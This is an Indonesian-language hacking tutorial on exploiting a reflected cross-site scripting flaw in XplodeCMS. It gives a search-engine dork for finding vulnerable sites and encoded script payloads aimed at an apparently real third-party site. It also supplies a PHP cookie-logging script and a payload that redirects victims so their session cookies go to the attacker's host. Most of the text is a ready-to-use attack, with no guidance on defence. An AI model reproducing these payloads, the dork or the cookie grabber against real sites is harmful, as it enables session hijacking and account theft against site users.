Xplodecms Cross Site Scripting (XSS) Injection

Tidak ada kapok-kapoknya para web programmer di kerjain dengan bug basi XSS. Mungkin si admin malas membaca kode ulang programmnya sendiri, atau memang meragukan bugs XSS. XSS merupakan bugs yang low risk, tapi XSS bisa merupakan bugs yang bisa sangat merugikan, seperti Cookie Stealing, yang berakibat ancaman Session Hijacking yang membuat kita menjadi orang lain di aplikasi web yang credential, seperti web banking.

Umumnya, Cross site scripting adalah tehnik hacking yang memanfaatkan kelemahan koding dari web aplikasi, yang membuat attacker dapat mengirimkan kode jahatnya ke dalam web aplikasi, dan mengambil keuntungan dari korban. Selengkapnya baca di ……………

tulisan ini mengambil contoh pada aplikasi Xplodecms, untuk percobaan alihkan browser anda ke google.com untuk proof of concept. Ketikkan di dalam box “allinurl:module_wrapper.asp?wrap_script=” tanpa tanda kutip,

untuk mengecek web aplication tersebut vulnerable atau tidak kita cek dengan sintaks,

<script>alert(400191613824)</script>

lalu kita encode agar bisa diterjemahkan oleh browser menjadi,

<script%20%0a%0d>alert(400191613824)%3B</script>

Contoh ;

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script= modules%2FSearch+results%2Fsearch%2Easp&SearchType=all& SearchString=>”><script%20%0a%0d>alert(400191613824)%3B </script>

Lalu muncul pop-up seperti ini,

Cookie Stealing :

Bugs XSS bisa kita manfaatkan untuk mencuri identitas user yang sedang log-in di situs tersebut, tehnik ini dinamakan “Cookie Stealing”. Untuk melakukan Cookiestealing yang pertama kita buat script untuk mencatat cookies dengan nama “log.txt” dan kita chmod 777 untuk dapat ditulis, dan script untuk mengirimkan cookie ke server kita untuk dicatat.

Code grabcookie.php :

<?php
$cookie = $_GET['cookie'];
$log = fopen(“log.txt”, “a”);
fwrite($log, $cookie .”\n”);
fclose($log);
?>

Kita coba url berikut di address bar,

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script= modules/Search+results/search.asp&SearchType=all&SearchString= >”><script%20%0a%0d>alert(document.cookie);</script>

Lalu muncul pop-up seperti ini,

Sekarang kita catat cookie ke server kita, dengan script grabcookie.php yang kita buat sebelumnya,

<script>document.location=’http://situsgue.com/grabcookie.php? cookie=’+document.cookie;</script>

lalu kita coba ke target kita,

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script= modules/Search+results/search.asp&SearchType=all&SearchString= >”><script%20%0a%0d>document.location=’http://situsgue.com/ grabcookie.php?cookie=’+document.cookie;</script>

Jika aplikasi tersebut mencimpan cookie di server, maka cookie akan dikirim ke tempat dimana kita persiapkan sebelumnya, yaitu pada file “log.txt” Aplikasi web, seperti forum, guestbook, dan memperbolehkan user untuk log-in memungkinkan aplikasi tersebut menggunakan cookie, lalu kita asumsikan aplikasi web tersebut tidak terfilter dengan baik, maka attacker dapat memasukkan kode javascript seperti di atas untuk mencuri cookie.

reference :
www.crosssitescripting.com